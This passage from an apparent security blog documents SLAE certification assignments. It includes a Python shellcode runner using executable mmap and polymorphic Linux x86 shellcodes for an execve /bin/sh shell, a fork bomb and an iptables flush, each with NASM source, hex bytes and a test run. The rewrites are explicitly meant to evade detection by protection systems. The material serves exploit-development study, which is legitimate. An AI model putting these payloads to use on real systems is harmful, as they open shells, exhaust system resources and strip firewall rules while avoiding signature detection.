mm = mmap.mmap(-1, len(data_decrypted), flags=mmap.MAP_SHARED | mmap.MAP_ANONYMOUS, prot=mmap.PROT_WRITE | mmap.PROT_READ | mmap.PROT_EXEC)
mm.write(data_decrypted)
# We obtain the address of the memory and create a C Function Pointer using ctypes and this address 
restype = ctypes.c_int64
argtypes = tuple()
ctypes_buffer = ctypes.c_int.from_buffer(mm)
function = ctypes.CFUNCTYPE(restype, *argtypes)(ctypes.addressof(ctypes_buffer))
function()

And here you can see the decrypter working!

As for the other assignments, you can read all the code in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment7

And here ends the SLAE course. I have learnt a lot of interesting stuff. See you soon! 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Polymorphic versions of known shellcodes – Assignment 6

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

For this assignment I have to modify three known shellcodes from Shell-Storm and create polymorphic versions of them.

I’m going to start for the Execve /bin/bash using stack method that we already worked a lot with it in the course.


a) Execve /bin/sh polymorphic version

The original shellcode wrote by Vivek is 25 bytes length. The exercise say that the new version can’t be larger than the 150% of the existing shellcode. So, the new version can’t have more than 38 bytes.

The original code is the following:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com

global _start			

section .text
_start:
	xor eax, eax
	push eax
	push 0x68732f2f
	push 0x6e69622f
	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

In the course, it’s explained that one of the things that protection systems detect in this shellcode is the two pushes that contain the string “//bin/sh”. So I’m going to focus on that.

To avoid pushing this values, I’m going to do some arithmetic operations so I can use other assembly instructions and modify the code.

For example, instead of doing the second push:

push 0x6e69622f

I can do:

mov eax, 0x6e69622e
inc eax
push eax
xor eax, eax

For the first push we can do it in another way that is a little bit more complex. Instead pushing the value directly that is: 0x68732f2f. We can do an arithmetic operation that is the following: A x 2 + 5 = 0x68732f2f. The valueof A needed is: 0x34399795.

So the equivalent code is the following:

mov al, 2
mov edi, 0x34399795
mul edi
add eax, 5
push eax

With this small changes, we increased the code to 37 bytes of length, we can’t do more changes because we are going to increment the code more than a 50%.

For the first exercise of this assignment, this is the final code:

; Filename: Execve-stack-poly.nasm
; Author:  Xavi Beltran

global _start			

section .text
_start:
	xor eax, eax
	push eax

	;push 0x68732f2f
	mov al, 2
	mov edi, 0x34399795
	mul edi
	add eax, 5
	push eax

	;push 0x6e69622f
	mov eax, 0x6e69622e
	inc eax
	push eax
	xor eax, eax

	mov ebx, esp
	push eax
	mov edx, esp
	push ebx
	mov ecx, esp
	mov al, 11
	int 0x80

And this is the shellcode:

\x31\xc0\x50\xb0\x02\xbf\x95\x97\x39\x34\xf7\xe7\x83\xc0\x05\x50\xb8\x2e\x62\x69\x6e\x40\x50\x31\xc0\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

b) Fork bomb polymorphic version

I’ve found this piece of shellcode in Shellstorm and it inspired me to create another type of “bomb” using a loop, but this is not part of this assignment 🙂

To be honest, this shellcode is really small, so create a polymorphic version it’s quick.

Here is the original code:

; Author: Kris Katterjohn 8/29/2006
; Date: 8/29/2006 

section .text

global _start

 _start:
     push byte 2
     pop eax
     int 0x80
     jmp short _start

And the link to shell-storm:

http://shell-storm.org/shellcode/files/shellcode-214.php

And here is the new code:

; Filename: fork-poly.nasm
; Author: Xavi Beltran
; Date: 05/11/2019
; Based on Kris Katterjohn code

section .text

global _start

 _start:
	xor eax, eax
	mov al, 2
	int 0x80
	jmp _start

This is the shellcode:

\x31\xc0\xb0\x02\xcd\x80\xeb\xf8

The changes where minor, but the entire shellcode changed. Instead of using push and pop to save the number two I used an XOR opeartion. Also I modified the type of jump.


C) Iptables flush polymorphic version

I’ve found a piece of code in shell storm from Sp4rK that was part from a group of hackers from my country named Undersec.

There is no date in this shellcode, but I guess it’s really old. I wanted to write again as a tribute for them. Also it’s going to be a polymorphic version, because I’m going to write it from scratch.

Here is the original piece of code:

#include <stdio.h>
#include <string.h>

/* 
__asm__("

sub     $0x4,%esp   ## Con esto conseguimos que la shellcode nunca se
popl    %esp        ## sobreescriba... gracias RaiSe :)

xorl    %edx,%edx   ## %edx a cero
pushl   %edx        ## y ponemos los zeros del final del string en memoria
pushw   $0x462d     ## tenemos -F0000

movl    %esp,%esi   ## wardamos argv[1] en %esi

pushl   %edx        ## 0000-F0000

pushl   $0x736e6961
pushl   $0x68637069 ## ipchains0000-F0000

movl    %esp,%edi   ## wardamos argv[0] en %edi

pushl   $0x2f6e6962
pushl   $0x732f2f2f ## ///sbin/ipchains0000-F0000

movl    %esp,%ebx   ## en %ebx, el nombre de archivo

pushl   %edx        ## 0000///sbin/ipchains0000-F0000
pushl   %esi        ## A[1]0000///sbin/ipchains0000-F0000
pushl   %edi        ## A[0]A[1]0000///sbin/ipchains0000-F0000

movl    %esp,%ecx   ## %ecx apunta a el inicio del argv[]

xorl    %eax,%eax
movb    $0xb,%al
int     $0x80

");
*/

char c0de[]=
"\x83\xec\x04\x5c\x31\xd2\x52\x66\x68\x2d\x46\x89\xe6\x52\x68\x61\x69\x6e\x73"
"\x68\x69\x70\x63\x68\x89\xe7\x68\x62\x69\x6e\x2f\x68\x2f\x2f\x2f\x73\x89\xe3"
"\x52\x56\x57\x89\xe1\x31\xc0\xb0\x0b\xcd\x80";


/* execve("///sbin/ipchains",ARGV,NULL);
 * ARGV[] = {"ipchains","-F",NULL}
 */

int main(void)
{
	long *toRET;
	char vuln[52];

	*(&toRET+2) = (long *)c0de;

	strcpy(vuln, c0de);

	printf("Shellc0de length: %d\nRunning.......\n\n", strlen(c0de));
	return(0);
}

/* Sp4rK <sp4rk@netsearch-ezine.com>
 * UNDERSEC Security TEAM
 * NetSearch E-zine
 */

Here is the link to shell-storm:

http://shell-storm.org/shellcode/files/shellcode-365.php

And here is my code

; Filename: iptables-poly.nasm
; Author: Xavi Beltran
; Date: 05/11/2019

global _start			

section .text
_start:
	xor eax, eax
	push eax
	push word 0x462d
	mov esi, esp
	push eax
	push dword 0x73656c62
	push dword 0x61747069
	mov edi,esp
	push dword 0x2f2f6e69
	push dword 0x62732f2f
	mov ebx, esp
	push eax
	push esi
	push edi
	mov ecx, esp
	mov al, 11
	int 0x80

This is the shellcode:

\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6\x50\x68\x62\x6c\x65\x73\x68\x69\x70\x74\x61\x89\xe7\x68\x69\x6e\x2f\x2f\x68\x2f\x2f\x73\x62\x89\xe3\x50\x56\x57\x89\xe1\xb0\x0b\xcd\x80

The entire code is different. As a simple explanation I used the Stack technique described in the course. I pushed //sbin/iptables%00-F to the stack and the rest of the code is the standard structure described in the following post of this blog:

The final shellcode it’s 43 bytes long, so we didn’t increase much the original shellcode.

Let’s execute the code. But first we are going to create a new rule in iptables, for example we can drop all the incoming traffic from Google IP: 8.8.8.8 with this command:

iptables -I INPUT -s 8.8.8.8 -j DROP

We list the current rules to verify that we can see the new one:

root@ubuntu:/home/socket/SLAE/Assignments/6/b# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         
DROP       all  --  google-public-dns-a.google.com  anywhere            

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination      

Now, we execute our new shellcode, and we verify again the rules, and we can see that it works and the Drop in the INPUT chain for Google traffic has been deleted, so it works! 🙂

root@ubuntu:/home/socket/SLAE/Assignments/6/b# ./shellcode 
Shellcode Length:  43
root@ubuntu:/home/socket/SLAE/Assignments/6/b# iptables -L
Chain INPUT (policy ACCEPT)
target     prot opt source               destination         

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination         

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

I’ve submitted this code to exploit-db. Here you can find it:

https://www.exploit-db.com/shellcodes/46829


As for the other assignments, you can found all the code used in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment6

This was the third one, so here ends this interesting assignment. Only one remaining!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment